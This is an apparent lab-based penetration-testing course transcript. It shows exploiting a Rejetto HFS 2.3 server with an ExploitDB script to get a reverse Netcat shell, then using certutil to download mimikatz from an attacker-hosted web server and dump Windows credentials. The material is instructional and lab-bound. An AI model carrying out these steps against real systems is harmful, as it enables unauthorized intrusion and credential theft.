[MUSIC LOGO]
Transferring files to Windows targets.
In this video, we will be exploring
the process of how to transfer files to a Windows target
that you have just compromised, in the event that you do not
have access to a meterpreter session.
And of course, this is going to work in conjunction
with the web server that we learned
how to set up in the previous video with Python.
So this video has a lab environment attached to it.
All you need to do is just fire it up, and we can get started.
So the way this is going to work is
we'll firstly need to gain access to the target system.
And we're not going to be utilizing
a Metasploit framework exploit module to gain access.
We're going to be utilizing an exploit or a piece
of exploit code from ExploitDB.
We're going to run it, and once we gain access and obtain
a standard command shield session,
we're then going to transfer a useful post-exploitation
executable that we probably want to use on the target system.
And we'll take a look at how this can be facilitated
with the Python or, rather, the simple HTTP web server
that we can set up with Python as well as inbuilt utilities
on Windows that can be used to download a file that
is hosted on a web server.
With that being said, I'll be seeing you
in the lab environment.
So I'm back within the lab environment,
and you will be provided with the target IP address.
In your case, it's going to be different.
All you need to do is just copy it.
So as I said, the first step is we actually
need to gain access to the target system.
And before we do that, we actually
need to identify what vulnerable service is
running on the Windows target.
So I'll just zoom in here.
And we can perform a quick Nmap scan
on the target system on port 80.
So there we are.
I'll just specify that we're performing a service version
detection scan on port 80.
I'll paste in the target IP, and I'll hit Enter.
And let's see what service is running on port 80.
Of course, that's going to be a web server.
But we're interested in the specific service and service
version.
As you can see, the Nmap scan is complete.
Port 80 is open, and the actual service
that's running on port 80 is the Rejetto HTTP
file server version 2.3.
And we've already exploited this service
in this course in earlier sections.
However, we actually performed or exploited
this particular service with a Metasploit framework
exploit module.
In this video, we will be exploring how to exploit it
with an exploit on ExploitDB.
So if we want to search for exploits
pertinent to this particular service that's
running on the target system, we can utilize the command line
utility searchsploit, which essentially
allows you to search for locally stored ExploitDB exploits.
So we can say searchsploit and Rejetto.
That is the vendor name that actually
developed the HTTP file server.
And right away, you can see at the bottom,
we have a remote command execution exploit.
This is a Python exploit.
And of course, we had the Metasploit exploit module here,
which we are not going to be using.
So this is the exploit that we want to use.
It is a Python script, and we can copy it
to our current working directory, which
is under root, by saying searchsploit -m,
and we can then specify the ExploitDB ID or EDB ID
by just specifying the ID here.
So 39161.
So we can say searchsploit -m 39161,
and that will copy the actual Python
exploit into our current working directory.
As you can see, it's copied successfully.
And if I list all the contents of my current working
directory, you can see that we have it right over here.
Now, in order to use this exploit,
we need to configure a few options.
We actually need to modify the exploit.
So I'm going to open it up.
This is a Python 2 exploit.
So we'll open it up with Vim.
You can open it up with whatever text
editor you're comfortable with.
This Python exploit has a great documentation
regarding how to use it.
So you specify Python 2.
You then execute the Python script itself.
You specify the target IP address and the port number.
So this is the port on which, or the port where the HTTP file
server is running.
And we also need to customize the actual IP address--
so this is your Kali Linux IP--
as well as the local port number.
So in order to obtain a command shell session,
we need to specify our Kali Linux IP and the port
that we will be setting up a Netcat listener now with.
So we're going to set up a Netcat listener now
to receive the connection.
So we are going to change this to our Kali Linux IP.
We can obtain that by opening up a new tab here.
And I'll just say ifconfig.
And in your case, again, the ethernet 1 inet address
will be different.
All you need to do is just copy it and replace it
with the one within the exploit itself.
So I'll just change it.
And I'll just paste it in here.
There we are.
And the port that I'm going to be setting up my Netcat
listener on is port 1234, just to keep things nice and simple.
I'll then write the changes here.
And let's take a look at the documentation
again because there's something very important here.
So you can see that you need to be using a web
server hosting Netcat or the Windows Netcat executable.
And this needs to be on your Kali Linux IP address
on port 80.
And again, you need to have the Netcat executable, which
again, comes pre-packaged with Kali Linux.
So this is another great example where
we can showcase the advantage of utilizing
the Python module or the Python module simple HTTP server
or http.server.
So I'm just going to write in quit.
And in order to run this exploit,
we are going to need a couple of tabs or Windows open.
So in this window, we're going to be running the actual Python
exploit.
In the next one, we're going to set up our Netcat listener.
So Netcat nvlp 1234 because that's
the port we specified that we will be listening on
within the Python exploit itself.
So that is listening.
We're then going to open up a new tab
and under because we actually need
to Host the Netcat executable.
We're going to go under cd user share windows binaries,
I believe.
There we are.
And under Windows binaries, you can
see you have the netcat.exe file here, which is fantastic.
So how do we host this?
We can utilize the Python module.
And in this case, I'll use the Python 3 module, http.server.
And it needs to be on port 80, as per the instructions
or documentation specified within the Python exploit.
So I'll hit Enter.
And we have the Netcat listener, and we can now
launch this exploit.
So I'll say Python 391, and we then
need to specify the target IP address.
So I'll just copy it here.
And we then need to specify the port on which the HTTP file
server is running, which is port 80.
Now, this exploit doesn't work on its first try.
But if I hit Enter, you'll actually
see something interesting.
If I head over into the actual tab
where I'd set up the web server, the simple HTTP web server,
you can see that a get request is made,
which means that netcat.exe was actually downloaded,
but as I said, if we take a look at our listener
here, our Netcat listener, we didn't receive a command shell
session.
So we need to run the exploit again.
There we are.
And now, if we take a look at our netcat listener,
we have obtained or essentially exploited the target system.
And we are provided with a simple command shell
session on the target system.
We can perform some local enumeration
to identify who we are exactly.
So who am I?
You can see, we are currently the administrator user.
So in this case, we do not need to elevate our privileges.
We can confirm that by saying whoamipriv
to display the list of privileges associated
with this account.
And you can see, we have the entire gamut of privileges
that you typically associate with the administrator's
account.
Now, this is where the whole file transfer
process comes into play.
Remember, we don't have a meterpreter session.
This is a simple command shell session.
Let's say we wanted to transfer mimikatz.exe.
Mimkatz.exe is a post-exploitation tool
that is used to dump Windows hashes and passwords that
are stored in memory.
So I'll just terminate the web server here.
And I'll head over into user share and Windows.
I'll head over to the directory Windows Resources.
And under Windows Resources, there's a Mimikatz folder.
And I'll head over into the x64 folder here.
And within this folder, you can see we have
the mimikatz.exe file here.
So if I wanted to transfer this, how would I do this?
How would I transfer this file onto the Windows target system?
Because I don't have the ability to upload a file,
because I don't have meterpreter, et cetera.
So we're currently within the hfs directory.
So I'll navigate to the root of the C drive.
And remember what I said in the previous section?
Whenever you're transferring a file to a target system,
always do it within the temp directory.
If we list out the content of the temp,
of the actual C drive, you can see that we
don't have a temp directory.
So I'll just create a temp directory.
Make directory temp.
And I'll navigate into the temp directory.
So how do we transfer it?
We know that the file is being hosted on the web server.
Well, not yet, because we haven't set it up.
So let's actually do that right now.
So I'll use Python 3.
http.server, and I'll host it on port 80.
So now the actual mimikatz.exe file,
or rather, all files within the x64 folder
are being hosted on the Kali Linux IP address on port 80.
So how do we download it?
Well, the best utility that comes
pre-packaged on pretty much all versions of Windows
is the certutil utility.
Now, the certutil utility is used for a wide range
of functionality.
However, one of the really cool features
that it provides to users is the ability
to download a file from a web server.
So make sure you're in the directory where
you want to download the file.
You can then type in the command certutil,
and then utilize the option urlcache.
So -urlcache, and then you specify
that you want to download a file using the option -f.
You then specify the address of the web server.
So you now need your Kali Linux IP address.
So I'll open up a new terminal here.
And I'll just say ifconfig, and I'll copy the inet value there.
Make sure to replace it with the one with the IP
address of the Kali Linux system in your lab environment.
And the file that we want to download
is called mimikatz.exe, which is being hosted on the web server.
You then need to specify what you
want to call the file after it's downloaded
because, on Windows, you need to specify a file
name for the file that you're downloading.
So we'll just call it mimikatz.exe,
the same as the file that we're downloading.
And we hit Enter.
So we'll give this a couple of seconds.
Let's take a look at the web server here.
In this case, it doesn't look like it's working.
There we are.
So it's actually downloaded mimikatz.exe.
So you can see it says online and certutil URL cache
command completed successfully.
So we've successfully transferred the mimikatz
executable from our Kali Linux system onto the target system.
So if I type in dir, you can see we
have our mimikatz executable.
Fantastic.
So from this demonstration, you can
see that you don't need to have a meterpreter
session on the target system.
You can transfer files, if you want, really as easily
as what we've just done through the use of a web server
that we set up with Python as well as the certutil utility.
So we can now execute the mimikatz executable.
And of course, this video is not focused on how to use mimikatz.
But again, as I said, it can be used to dump hashes.
So I'll execute it.
I can then check whether I have the necessary permissions
to execute it or to use it.
So I'll say privilege colon colon debug.
And it tells me privilege 20 OK.
So I can then say, for example, lsa dump or type
any of the mimikatz commands.
So I can say, for example, lsa dump.
And I can then specify what I want to dump.
So I can also display the logon passwords,
if it's been enabled on this Windows system.
So yeah, there's tons of things that I can do.
If I want to dump the actual contents of the LSASS process,
or the LSASS cache from memory,
I can say lsa dump SAM to dump the actual data that's
stored within the cache pertinent to the SAM
database on Windows.
And there we are.
You can see that I don't really get any additional information
regarding the actual domain and the syskey for the SAM
database.
But again, this video is not focused on how to use mimikatz.
With that being said, I can just exit from mimikatz.
And again, I can transfer any file that I want.
So I'll just use one more example.
I'll just terminate the web server here.
And I'll navigate to the root user's home directory.
And I can create a simple file.
I'll just create a text file.
I call it test.txt,
And I can just enter some test data here.
I can say, this is some test data.
I'll write and quit.
And then I can set up the web server within this directory.
So I'll say Python 3 -m http.server on port 80.
And then I'll just copy my Kali Linux IP,
as I'll need it to transfer the file
or to download it with certutil.
So I'll say certutil URL cache file http,
specify the address of the web server,
in this case, our Kali Linux system.
The file that we're downloading is called test.txt.
So I'll say test.txt, and then we'll also save it as test.txt.
There we are.
That is done successfully.
If I type in dir, you can see test.txt is downloaded.
I can display the content of the file
to show you that it was transferred successfully,
by saying type test.txt, and there you are.
You can see this is some test data.
So that is how to transfer a file or a series of files
from your Kali Linux system onto a Windows target
that you have compromised.
With that being said, that is going
to conclude the practical demonstration
side of this video.
So now that we have an understanding of how
to transfer files onto a Windows target system,
we can actually explore the process
of transferring files onto a Linux system
that you have compromised.
So I'll be seeing you in the next video.